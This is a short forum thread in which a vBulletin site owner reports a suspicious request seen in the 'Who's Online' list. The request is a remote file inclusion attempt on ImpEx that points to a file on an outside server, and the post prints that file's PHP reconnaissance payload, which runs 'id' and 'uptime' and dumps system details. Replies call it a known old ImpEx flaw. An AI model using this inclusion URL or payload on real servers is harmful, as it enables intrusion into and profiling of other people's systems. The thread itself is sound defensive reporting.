Very Strange Location on WHO's Online

[Quarterbore]

What do you make of this:

Unknown Location
/index.php/impex/ImpExData.php?systempath=http://www.symbols-larp.com/inschrijven/symbols7/log/logfile.txt??

IP: 213.168.176.11 (details joe.mlboleslav.cz)

I checked and I don't have IMPEX on my server but it sure looks fishy to me!

I expect it may well be a random spam bot but I am not that famaliar with the Impex install code so I figured I would report this in case it may be a potential issue.

I will have to trace the code later.

The file that was linked to is this:

PHP Code:

<?php
function ConvertBytes($number)
{
        $len = strlen($number);
        if($len < 4)
        {
                return sprintf("%d b", $number);
        }
        if($len >= 4 && $len <=6)
        {
                return sprintf("%0.2f Kb", $number/1024);
        }
        if($len >= 7 && $len <=9)
        {
                return sprintf("%0.2f Mb", $number/1024/1024);
        }
   
        return sprintf("%0.2f Gb", $number/1024/1024/1024);
                           
}

echo "netcat<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;


echo "netcat<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

--------------- Added [DATE]1217002175[/DATE] at [TIME]1217002175[/TIME] ---------------

OK, here is the explanation:

http://www.vbulletin.com/forum/showthread.php?t=271270

Make sure you don't leave Impex on your servers!

[Marco van Herwaarden]

You may leave ImpEx on your servers. Only once, a few years ago, there have been a version of ImpEx shortly available that could be exploited.